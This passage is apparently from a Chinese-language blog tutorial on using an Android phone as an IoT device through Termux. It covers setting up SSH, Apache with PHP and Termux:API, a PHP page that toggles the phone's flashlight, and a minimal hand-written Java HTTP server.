<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicL3A-uOOAW_K16uBputTCUadMnVajWErCeM_uSivTolE7YGa1uZQfLUpQa66JN5sy5gEjKcvknE51L8NdsT197B4V6yjrbixvUKV_FOBkYDJfRcVo0E3toGnIVAyk3vo8Li1To-5vh_aiJRRjJ9R7Diej0lv0n9CxDoeS1MMhmFiAurB9erd1oGb6/w0/android-as-iot-015.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicL3A-uOOAW_K16uBputTCUadMnVajWErCeM_uSivTolE7YGa1uZQfLUpQa66JN5sy5gEjKcvknE51L8NdsT197B4V6yjrbixvUKV_FOBkYDJfRcVo0E3toGnIVAyk3vo8Li1To-5vh_aiJRRjJ9R7Diej0lv0n9CxDoeS1MMhmFiAurB9erd1oGb6/w600/android-as-iot-015.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWK8avkRoOkDvwXIVf1H28RiHgsgsdAa37ooKorI2S4lH39DI96jct_esGa5wObm5xhZitWesOaSWsEC5ffThCKlcvSpzE57za1LHCfIDAn2McPLwBwkh2ziZJ56A853K-oJTfE9UXEovs4KgfQgVsB9z84Ggm5IqTKRo243NbeYvGeGIv2OMuXJka/w0/android-as-iot-016.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWK8avkRoOkDvwXIVf1H28RiHgsgsdAa37ooKorI2S4lH39DI96jct_esGa5wObm5xhZitWesOaSWsEC5ffThCKlcvSpzE57za1LHCfIDAn2McPLwBwkh2ziZJ56A853K-oJTfE9UXEovs4KgfQgVsB9z84Ggm5IqTKRo243NbeYvGeGIv2OMuXJka/w600/android-as-iot-016.png"/></a></div>
<div>更新來源後,輸入<br/>
<pre class="brush:bash">pkg update
pkg upgrade</pre>
更新 Termux 的套件</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHZovsfCFiFhY2tZifiA8oaGV5k1Eps-ViTTPuhsi4kQGx_QSLbSYlLc6L_we7IYifqrTeYYZKsZxQCpqQKUoKeGHiYxoFne-jWW23gUm9osbAtil43HyqktUtTE2DQDO81Nz2ghq65xBU8crKX3MJNm7xcLxicSD4l_Sw_z4B6NbYoAJO48a7biDT/w0/android-as-iot-017.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHZovsfCFiFhY2tZifiA8oaGV5k1Eps-ViTTPuhsi4kQGx_QSLbSYlLc6L_we7IYifqrTeYYZKsZxQCpqQKUoKeGHiYxoFne-jWW23gUm9osbAtil43HyqktUtTE2DQDO81Nz2ghq65xBU8crKX3MJNm7xcLxicSD4l_Sw_z4B6NbYoAJO48a7biDT/w600/android-as-iot-017.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8y5f4zG0tar8-1ilxs-2czMvEBhWPxu0gVuzaFoVS6YQr7rDmJlpYbQumuhlkWatLxR4KmKG3UV8VaUgG5R_g8iAXXD2ra9UiWZ1MudDeNWmU-62hSjnQHCdyDsatQfCqnyZ4Zbh7_IMGS7e1Vi2mpoGI4WUbkmay-mDdw932ew_lBqSq1VRcOyOY/w0/android-as-iot-018.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8y5f4zG0tar8-1ilxs-2czMvEBhWPxu0gVuzaFoVS6YQr7rDmJlpYbQumuhlkWatLxR4KmKG3UV8VaUgG5R_g8iAXXD2ra9UiWZ1MudDeNWmU-62hSjnQHCdyDsatQfCqnyZ4Zbh7_IMGS7e1Vi2mpoGI4WUbkmay-mDdw932ew_lBqSq1VRcOyOY/w600/android-as-iot-018.png"/></a></div>
<div>更新套件後,輸入<br/>
<pre class="brush:bash">pkg install termux-services openssh</pre>
安裝 <span class="mra-highlighter">OpenSSH</span> 伺服器 及 Termux 的 <span class="mra-highlighter">服務起動器</span>,可以讓外部裝置能夠經 OpenSSH 登入,方便操作 Termux </div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTuKES7X8Nz6n5BUQUdsxkn6WhO9KroglflhHTxWTrqHH8yS2NkP-YQWkSMsthnEuaBXRuw9mnWd3AApCKs8JSHIDi6wgCkDVNOi-0jXwOjRgaULiRaJlMxgE-wHAwgxa6QYnFiNaHfGQ5krnVtNvXdkdDhdE0zJUujyGB8xM9UI8wjXZE0ZnavJKJ/w0/android-as-iot-019.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTuKES7X8Nz6n5BUQUdsxkn6WhO9KroglflhHTxWTrqHH8yS2NkP-YQWkSMsthnEuaBXRuw9mnWd3AApCKs8JSHIDi6wgCkDVNOi-0jXwOjRgaULiRaJlMxgE-wHAwgxa6QYnFiNaHfGQ5krnVtNvXdkdDhdE0zJUujyGB8xM9UI8wjXZE0ZnavJKJ/w600/android-as-iot-019.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhQjJ9Fl4BcafACb4uvuzbErQSi0ZBqAK4RlaiQ9O8y8z6N82fVDcRloiCWw_VPf7TzJrcmmwLO4oBMs9_v3j-wKwnv1jQoZGHOFrdRNgUlhOdD1RzYK6di3vKA3FiI87bP_gBvE7l34aFpwxiNwxy2WS5NMM4SfYEk3b6rDiJBlks1TtecyFF2oKc/w0/android-as-iot-020.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhQjJ9Fl4BcafACb4uvuzbErQSi0ZBqAK4RlaiQ9O8y8z6N82fVDcRloiCWw_VPf7TzJrcmmwLO4oBMs9_v3j-wKwnv1jQoZGHOFrdRNgUlhOdD1RzYK6di3vKA3FiI87bP_gBvE7l34aFpwxiNwxy2WS5NMM4SfYEk3b6rDiJBlks1TtecyFF2oKc/w600/android-as-iot-020.png"/></a></div>
<div>安裝後登出 Termux 並重新登入 Termux<br/>
輸入<br/>
<pre class="brush:bash">sv-enable sshd</pre>
便可以在開啟 Termux 後自動起動 OpenSSH 伺服器</div>
<br/>
<div>再輸入<br/>
<pre class="brush:bash">passwd</pre>
修改 root 的密碼,讓外部裝置連接</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFeaAsZNgXXGPaXup4QxeFIYejJBzMKG0hwbBhKaiUq3hEtC1Er3tLaa2qO8FZzFPHCqQZnxMYbbEdgzaKaKlpSltEoR7F1ysc-DbF3fdnJDlEdOlpPQlIu3DBf2AP0-thqfhsegm8pb31HOPCOCS5Mjkc3RAqgzP1BxN3IDV0lVHgxCc3DqX-VDCt/w0/android-as-iot-021.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFeaAsZNgXXGPaXup4QxeFIYejJBzMKG0hwbBhKaiUq3hEtC1Er3tLaa2qO8FZzFPHCqQZnxMYbbEdgzaKaKlpSltEoR7F1ysc-DbF3fdnJDlEdOlpPQlIu3DBf2AP0-thqfhsegm8pb31HOPCOCS5Mjkc3RAqgzP1BxN3IDV0lVHgxCc3DqX-VDCt/w600/android-as-iot-021.png"/></a></div>
<div>使用電腦連接後,可以更方便操作</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS8xyEZEFlhheWON4WDSFe-LTh6iRKsUPLJ3XnQU8FMlXcG1xuyNnoK4Jo5mDYak3UPb-cQjBLcB1oKr0w_v_KnJW0ZS4Sp_6AnGhDpSaIinZM23K94R1kCSsp4JVLHY6gamtGfiNA0G5d02AWZQWjZCKn92tQPkLgu1wmVlzcA5OLdroxY1KI5Cgs/w0/android-as-iot-022.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS8xyEZEFlhheWON4WDSFe-LTh6iRKsUPLJ3XnQU8FMlXcG1xuyNnoK4Jo5mDYak3UPb-cQjBLcB1oKr0w_v_KnJW0ZS4Sp_6AnGhDpSaIinZM23K94R1kCSsp4JVLHY6gamtGfiNA0G5d02AWZQWjZCKn92tQPkLgu1wmVlzcA5OLdroxY1KI5Cgs/w600/android-as-iot-022.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR2C8tJcp8sKZbvvVTgj_V2PNg7NKk_XWLOt0Jx4kDKIczQA4ATfud62k7sHviD8UYixPQhisFEtFvOpR7z1zvjQHXuHaJ_7PSmkdgrA32iiVPgRzrvukBI6BNNrgfEOg3dyceU1NEUNffcTdKgGEgokUi-zKcLjXGL3yCWYRmo1MwYQB5ah7gnvDb/w0/android-as-iot-023.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR2C8tJcp8sKZbvvVTgj_V2PNg7NKk_XWLOt0Jx4kDKIczQA4ATfud62k7sHviD8UYixPQhisFEtFvOpR7z1zvjQHXuHaJ_7PSmkdgrA32iiVPgRzrvukBI6BNNrgfEOg3dyceU1NEUNffcTdKgGEgokUi-zKcLjXGL3yCWYRmo1MwYQB5ah7gnvDb/w600/android-as-iot-023.png"/></a></div>
<div>輸入<br/>
<pre class="brush:bash">pkg install termux-api wget nano php-apache</pre>
由於要將 Android 當作 IOT 使用,必須直接能夠存取 Android 硬件的操作權限<br/>
使用 PRoot 無法存取 Android 硬件的操作權限<br/>
因此直接將在 Termux 上安裝如 <span class="mra-highlighter">Apache網頁伺服器</span> 配合 <span class="mra-highlighter">Termux API</span> 來控制 Android</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheouvGD3XOaY40koHwcag4_iD7N5liaAf6M9wN6uH6OKDnVpFFDWXmNIZmydfq6UfjCPVMDWskgwCDmpTvAaaTDGW5LEQhT74vEDpskeivt8nF4SP_9tiPW4yvtiRoJvl5QAavGzCYDT_BE8513oQdfWRINxoBgy6JmScURl5cFCl1vD-Ge8dUSk0l/w0/android-as-iot-024.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheouvGD3XOaY40koHwcag4_iD7N5liaAf6M9wN6uH6OKDnVpFFDWXmNIZmydfq6UfjCPVMDWskgwCDmpTvAaaTDGW5LEQhT74vEDpskeivt8nF4SP_9tiPW4yvtiRoJvl5QAavGzCYDT_BE8513oQdfWRINxoBgy6JmScURl5cFCl1vD-Ge8dUSk0l/w600/android-as-iot-024.png"/></a></div>
<div>輸入<br/>
<pre class="brush:bash">cp "${PREFIX}/etc/apache2/httpd.conf" "${PREFIX}/etc/apache2/httpd.conf.bak"
nano "${PREFIX}/etc/apache2/httpd.conf"</pre>
先備份 Apache網頁伺服器 的設定檔,編輯 設定檔</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRWODPZ33oqx_LoD_bms6NWeM1TDcnaIGLQ-sS5nII1awPcdpdGVsJvZurXPn5GkplZSSqbHVNI_VgemJsEaprp8i2wvOZEdZORM3jv--We3rX_uCgOVzGvDxuXy5W36SOs0Fho-4abZd_7Or-Pl2BkLCgXwqM-geP0KhBrQQV-AH6EqMBZKIu78Vi/w0/android-as-iot-025.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRWODPZ33oqx_LoD_bms6NWeM1TDcnaIGLQ-sS5nII1awPcdpdGVsJvZurXPn5GkplZSSqbHVNI_VgemJsEaprp8i2wvOZEdZORM3jv--We3rX_uCgOVzGvDxuXy5W36SOs0Fho-4abZd_7Or-Pl2BkLCgXwqM-geP0KhBrQQV-AH6EqMBZKIu78Vi/w600/android-as-iot-025.png"/></a></div>
<div>將<br/>
<pre class="brush:bash">LoadModule mpm_prefork_module libexec/apache2/mod_mpm_prefork.so
#LoadModule mpm_worker_module libexec/apache2/mod_mpm_worker.so</pre>
修改成<br/>
<pre class="brush:bash">#LoadModule mpm_prefork_module libexec/apache2/mod_mpm_prefork.so
LoadModule mpm_worker_module libexec/apache2/mod_mpm_worker.so</pre>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdxTW2CJgGJmScjANIUqT86guuD7Yk1KQiVyuoC0cJcwFnqd7Tgjigm43lZevt0axLCurSBUwi-iA9OIP-VasuJPjwgfzFqdY6N5dQwaVo3odEXRlMQYx8Pmgwxs1ia7wmosqQVUyS388biYKj7cc6chUJmCX-jLSXRL_O84v6k7Zu4MmhodT8F53W/w0/android-as-iot-026.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdxTW2CJgGJmScjANIUqT86guuD7Yk1KQiVyuoC0cJcwFnqd7Tgjigm43lZevt0axLCurSBUwi-iA9OIP-VasuJPjwgfzFqdY6N5dQwaVo3odEXRlMQYx8Pmgwxs1ia7wmosqQVUyS388biYKj7cc6chUJmCX-jLSXRL_O84v6k7Zu4MmhodT8F53W/w600/android-as-iot-026.png"/></a></div>
<div>在 設定檔 最後加上
<pre class="brush:bash">LoadModule php7_module libexec/apache2/libphp7.so
AddHandler php7-script .php</pre>
Android 7+ 改為<br/>
<pre class="brush:bash">LoadModule php_module libexec/apache2/libphp.so
AddHandler php-script .php</pre>
完成後,儲存並離開<br/>
(php_module 使用 <span class="mra-highlighter">底線(underscore)</span>, php-script 使用 <span class="mra-highlighter">減號(minus)</span>)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDw4-RbuUHPr69hPoQbgizqmf8IIG809Bq9jR4pNSABVXQUMzEjF3QF7TJZ3BHbqNiDjw8DDNQVwQTFX5yuu5jIdubjPVlOAnHGTQRnK-FnLiTCe-XbC-5b9VFmIrJ-7e0XEZg0z7_KhBB7440mIt-qo8vYKxkHizycp4aFA3vW7HnK1k_04aV8hfP/w0/android-as-iot-027.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDw4-RbuUHPr69hPoQbgizqmf8IIG809Bq9jR4pNSABVXQUMzEjF3QF7TJZ3BHbqNiDjw8DDNQVwQTFX5yuu5jIdubjPVlOAnHGTQRnK-FnLiTCe-XbC-5b9VFmIrJ-7e0XEZg0z7_KhBB7440mIt-qo8vYKxkHizycp4aFA3vW7HnK1k_04aV8hfP/w600/android-as-iot-027.png"/></a></div>
<div>輸入<br/>
<pre class="brush:bash">apachectl start</pre></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinCGnD5ff-vAZ9TR4q3uDZ2HK5aCySX-8XONYS7xPFQ6fwoyK7bOoIzDeMs7qFVnutHMf0oyUbo5PfmP-Qj8iw3KaNEZiXtvTsrrhLHBarb2bfinTUTxGADigRKrD11SxQTxBZSnOv2liSVIl0JZNBC2l1Ycdu0a7_YXb8Y92zlDxBc5TSJJ0IECpD/w0/android-as-iot-028.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinCGnD5ff-vAZ9TR4q3uDZ2HK5aCySX-8XONYS7xPFQ6fwoyK7bOoIzDeMs7qFVnutHMf0oyUbo5PfmP-Qj8iw3KaNEZiXtvTsrrhLHBarb2bfinTUTxGADigRKrD11SxQTxBZSnOv2liSVIl0JZNBC2l1Ycdu0a7_YXb8Y92zlDxBc5TSJJ0IECpD/w600/android-as-iot-028.png"/></a></div>
<div>使用網頁瀏覽器輸入 <span class="mra-highlighter">http://<Android裝置 的 IP>:8080</span><br/>
顯示 <span class="mra-highlighter">It Works!</span> 表示 Android 的 Apache網頁伺服器 正常運作</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1bFY3SpgLL76ACkLmoQmNieepm8MAmHTPaHs3WEZBN5gp_eVR2LNhldNdiSfpESE90g1vUa1JsQ8vdtywWeIBMLdsLy9Yc7f7OFAmoSBgcq3h35mMk-cMVTMt0wexRq1pBoIv9FWxr9KS1JocOj7-yGQy661uVMNCBFv2L5h4kegIeqKaj3O3q6ve/w0/android-as-iot-029.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1bFY3SpgLL76ACkLmoQmNieepm8MAmHTPaHs3WEZBN5gp_eVR2LNhldNdiSfpESE90g1vUa1JsQ8vdtywWeIBMLdsLy9Yc7f7OFAmoSBgcq3h35mMk-cMVTMt0wexRq1pBoIv9FWxr9KS1JocOj7-yGQy661uVMNCBFv2L5h4kegIeqKaj3O3q6ve/w600/android-as-iot-029.png"/></a></div>
<div>輸入<br/>
<pre class="brush:bash">nano "${PREFIX}/share/apache2/default-site/htdocs/phpinfo.php"</pre>
製作 phpinfo.php 檔案</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidBRcdrrOzIwnX0sqCuQ6QRkAuIvcnMucmXrSXUEDaiFxwndzawoPN2CTJCbLgnkMb8UyBphuMSYFWkGTbgAhW37fGxuJllbk8TTIzRkaSgwvfiue5nqccxONfkAx-os3xynYlPdu2BhxmQNv0hLLTMhOemJCfHUHt-pu8sOvOxLEegjEBNtYaPS-L/w0/android-as-iot-030.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidBRcdrrOzIwnX0sqCuQ6QRkAuIvcnMucmXrSXUEDaiFxwndzawoPN2CTJCbLgnkMb8UyBphuMSYFWkGTbgAhW37fGxuJllbk8TTIzRkaSgwvfiue5nqccxONfkAx-os3xynYlPdu2BhxmQNv0hLLTMhOemJCfHUHt-pu8sOvOxLEegjEBNtYaPS-L/w600/android-as-iot-030.png"/></a></div>
<div>輸入<br/>
<pre class="brush:bash"><?php phpinfo();</pre>
完成後,儲存並離開</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilCkdQSsPsI5J5j1R0C1M5Noy0GTjjHLMYiRdalbkhJXZzburqBd1yIj8jRP5tScCfcPIJZcZldEX07nkA49MzkPUwvq3p6acdmlbywfH9Cj30MOg92fFMrKPLh36L8UxJOLqTRVBdzQOiM5hLAmXm8Vt-SHsWkaeWkJNq-OJQRWbKTTMkWr95k8Pi/w0/android-as-iot-031.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilCkdQSsPsI5J5j1R0C1M5Noy0GTjjHLMYiRdalbkhJXZzburqBd1yIj8jRP5tScCfcPIJZcZldEX07nkA49MzkPUwvq3p6acdmlbywfH9Cj30MOg92fFMrKPLh36L8UxJOLqTRVBdzQOiM5hLAmXm8Vt-SHsWkaeWkJNq-OJQRWbKTTMkWr95k8Pi/w600/android-as-iot-031.png"/></a></div>
<div>使用網頁瀏覽器輸入 <span class="mra-highlighter">http://<Android裝置 的 IP>:8080/phpinfo.php</span><br/>
顯示 PHP 的資料</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLEjQR_k5uX8Fj_K0T9akwCMN78KA87iJviJwn5tGhQqzeVWpEz-x6TqtvgdgmAv1sbAZwONfzBI00FaGttd71gtqZv1NwHWGuKFUdX3SuyKkMEN0MLwxxwqBMm2_qJPAjOifoq_4V5I1gQCrgstOzdxNtmOAC5zyfnNTQq2bDowom-kwzFssWeJtO/w0/android-as-iot-032.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLEjQR_k5uX8Fj_K0T9akwCMN78KA87iJviJwn5tGhQqzeVWpEz-x6TqtvgdgmAv1sbAZwONfzBI00FaGttd71gtqZv1NwHWGuKFUdX3SuyKkMEN0MLwxxwqBMm2_qJPAjOifoq_4V5I1gQCrgstOzdxNtmOAC5zyfnNTQq2bDowom-kwzFssWeJtO/w600/android-as-iot-032.png"/></a></div>
<div>輸入<br/>
<pre class="brush:bash">nano "${PREFIX}/share/apache2/default-site/htdocs/led.php"</pre>
</div>
<br/>
<div>輸入<br/>
<pre class="brush:html"><?php
if (filter_input(INPUT_GET, "led") == 1) {
system("termux-torch on");
} else {
system("termux-torch off");
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>LED Control</title>
<style>
a { font-size: 128pt; }
</style>
</head>
<body>
<div><a href="?led=1">LED On</a></div>
<div><a href="?led=0">LED Off</a></div>
</body>
</html></pre>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQE6xuCgYUhNpHCFh8AWQnxeurRTpTPHM2iY6NAzNKXLMG-0ORaqludgd0Rr9qQOqxBZ9OVAhsAhFkWnjuC0ps2-TiRGzAbWfxqavhCHx2msm3v5cJ0laEEUIr7ijnM3AKrIgZ3dFnMQbSgvBYFA0FHjT5NV1Gl3ZQe4esDofhdFzNfSzPb7mEesGf/w0/android-as-iot-033.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQE6xuCgYUhNpHCFh8AWQnxeurRTpTPHM2iY6NAzNKXLMG-0ORaqludgd0Rr9qQOqxBZ9OVAhsAhFkWnjuC0ps2-TiRGzAbWfxqavhCHx2msm3v5cJ0laEEUIr7ijnM3AKrIgZ3dFnMQbSgvBYFA0FHjT5NV1Gl3ZQe4esDofhdFzNfSzPb7mEesGf/w600/android-as-iot-033.png"/></a></div>
<div>使用網頁瀏覽器輸入 http://<Android裝置 的 IP>:8080/led.php<br/>
顯示網頁效果</div>
<br/>
<a name="安裝TermuxAPI"></a><h4 class="mra-h4">安裝 Termux:API</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS6QTOeJHhyrVp7eT0KUmeWdWWUKUKHvz2vntiQMzibnnd7gZTxmatIJwgIiIZkVjZTlsDgUqyMwkaPyYD1ItQOjiHIMuMmMIqoiSy1dkQMm2fJh6hOGLKmH5lVEnouKQLiUK8fNLUC_TIXYXvr_COtOOX7SIwmUZEJm-FHCrukl42J3AlfjMXEfQF/w0/android-as-iot-034.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS6QTOeJHhyrVp7eT0KUmeWdWWUKUKHvz2vntiQMzibnnd7gZTxmatIJwgIiIZkVjZTlsDgUqyMwkaPyYD1ItQOjiHIMuMmMIqoiSy1dkQMm2fJh6hOGLKmH5lVEnouKQLiUK8fNLUC_TIXYXvr_COtOOX7SIwmUZEJm-FHCrukl42J3AlfjMXEfQF/w600/android-as-iot-034.png"/></a></div>
<div>由於操作涉及 Termux API 因此需要安裝 Termux:API 的 Android 套件</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjknX1PSoDowK-DBwTGEKX-qDs9VBiyemkoY6TC3lAI_26d9I78U-68EoBLsjWiKm0HKo9O0veitI_ItEJKe9iVnE8FzwwkbW7a_j6BrRWFi2DNA8Dd6LFq0e9X-mMc2xOX7LlzML7YGfTxTeg3nfCO1UnDm5rXCn5cudfdnIU90IEmcl4aUIbdy4Cg/w0/android-as-iot-035.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjknX1PSoDowK-DBwTGEKX-qDs9VBiyemkoY6TC3lAI_26d9I78U-68EoBLsjWiKm0HKo9O0veitI_ItEJKe9iVnE8FzwwkbW7a_j6BrRWFi2DNA8Dd6LFq0e9X-mMc2xOX7LlzML7YGfTxTeg3nfCO1UnDm5rXCn5cudfdnIU90IEmcl4aUIbdy4Cg/w600/android-as-iot-035.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinQNj11d7viWl9Kmd0tD8wVgUpChqHg7QLpzjFjHbI2ZBnxg1tyRTXUXvs58g_qjRChg2QBc8oRZnP2VASGzsi_aZbvoKp1NeNQnLUP3dJeTd_mXR01Hi8X60PAFHkTtl-ocgzA-JhnuDC3cSDU22DU2ahnegPmHzPvVwy7BbD7RbEKb9rwpdZBj-S/w0/android-as-iot-036.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinQNj11d7viWl9Kmd0tD8wVgUpChqHg7QLpzjFjHbI2ZBnxg1tyRTXUXvs58g_qjRChg2QBc8oRZnP2VASGzsi_aZbvoKp1NeNQnLUP3dJeTd_mXR01Hi8X60PAFHkTtl-ocgzA-JhnuDC3cSDU22DU2ahnegPmHzPvVwy7BbD7RbEKb9rwpdZBj-S/w600/android-as-iot-036.png"/></a></div>
<div>提供操作權限給予 Termux 及 Termux:API</div>
<br/>
<div><a href="https://photos.google.com/share/AF1QipO-kodZmSu_tbvnihsI8QvM2KUF4hHuPdtMloqREjK7keV9diErWDQVd328RdiDXw/photo/AF1QipNW1zIhMV_H1xbVkii1-QQZxyyTjcDX4xOpstCr?key=ZTBxVUUyekNCenNuVTVLX0ZfcVQxb0QtZ1liOXZR"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-88VIOf4uj1w/ZAn8PSFcFcI/AAAAAAADDKE/4Yb2WjzzEfMGquZUZ5VfKwsh2lFmOJ1pACEwYBhgLKv0FADGYw-xCmk368KDBst_y4UnuBTkuCr7k2oakwNnbxyJGVoE-coi32HWZuTopbsrtSD8FzQqH5shJ2aKKIMpEJxUCRW16HHxUxumEr6BBDospWGK1iLk1Q1OWe_bi2_jJgY9DSYvXKVj0bhJq0GgdcuLC5_YD-a0yV3zk6Sw5P1XyhSTCcVSRl3mKMTkloClZ4DBV14cDR3yFJgQkDHiX5_9W7Gvnd6_6uSn5tNJoADDvmlMNmv2FCjgmRO2Q0h8clnlda3KSVWPDMusllNyA2sGyeni1oRXsB_sD5ZN0MG70e2U6J4CqhEBW03K5gY-yhPEGb0z5rtFdHtvgjs1e0TMUQBY_sIUUAV5OQ4oFszi3S8J2R9D5-oYcuixSBMTgjdMAFJnwwHidgdPEJ6UHqglR1ly2m9BB_FRbuwdQ1eJNj14JxfHEP13yRikad_wH4nNaMoWpQc81--7RhR-XV5sWpQ749ECIVULq4ak1bgtQv3iGkRi7bmZUK-gcEzQakxXIlGM26wz7I8SHClr0J9r-Oh5foP0l6UjHx48opicTN_Z-ID8Q2tlD8b5JsxilyTl5Y6431x69YC68dKIRM3iTVT-MMZBHs9pCkE_iVMN7zVAwi1dtIyRek71mNaGOfYZFo831UKkSdJKPitG4FPnO086g8DBOHM38Khut4BBbk9qKMtL2g7lHP1Iv0oDS1xO43hkkshdylWjlKsgjfORRf3LirZSsxdNepxyOKn1m_snW_rS_pb5mmP5IWYaKSJuau66g42__2yEvMzhwhjNjAOOdPHfEpJwbPUs1ciL95clwu01ps9eYqUuCSZpD43il_c1ZAwDa0mXP5MklnCOzfVjqxn6-rOBDOlFgVjrS5AX-1Gmck64HDg0fh3ttYnq3PGLWc6CWqksgnXsnX65WJRdLRdN4Du6mW2HWtFTPTj--t0YD7q5ISqJJzrdMnyOY4ihSp2F3qSGjJGPq9ByHspItwkMcQCh5YpNRlRYphCP1hOc1mz8MKvO2MLrC0aIG/w0/android-as-iot-037.jpg"/></a></div>
<div>效果如同使用 ESP8266 等具備 WiFi 的微控制器經網頁控制一些 Android裝置 的硬件</div>
<br/>
<a name="製作HTTP伺服器"></a><h4 class="mra-h4">製作 HTTP伺服器</h4>
<div>由於 Java 能夠編譯成能在 Android 執行的程式,而且 Java 亦可以自行製作 <span class="mra-highlighter">HTTP伺服器</span><br/>
雖然 Java 提供 <span class="mra-highlighter">com.sun.net.httpserver</span> 的 HTTP伺服器,但 Android 並沒有提供,因此無法使用<br/>
網上很多自製 Android HTTP伺服器 建議使用 <span class="mra-highlighter">NanoHTTPD</span> ,但在下使用時發現有些功能無法使用<br/>
結果還是自己製作 HTTP伺服器</div>
<br/>
<pre class="brush:java">import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class HttpServer implements Runnable {
private ServerSocket server;
private boolean running = false;
public HttpServer(int port) throws IOException {
this.server = new ServerSocket(port);
}
public boolean isRunning() {
return this.running;
}
public void start() {
this.running = true;
}
public void stop() {
this.running = false;
}
@Override
public void run() {
while (true) {
if (this.isRunning()) {
try {
Socket client = this.server.accept();
InputStream input = client.getInputStream();
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
while (input.available() > 0) {
bytes.write(input.read());
}
bytes.flush();
bytes.close();
OutputStream output = client.getOutputStream();
output.write("HTTP/2 200 OK\n".getBytes());
output.write("Connection: close\n".getBytes());
output.write("\n".getBytes());
output.write("hello, world".getBytes());
output.flush();
output.close();
input.close();
client.close();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}
public static void main(String[] args) throws IOException {
// could change other unused port
HttpServer server = new HttpServer(8080);
server.start();
Thread thread = new Thread(server);
thread.start();
}
}</pre>
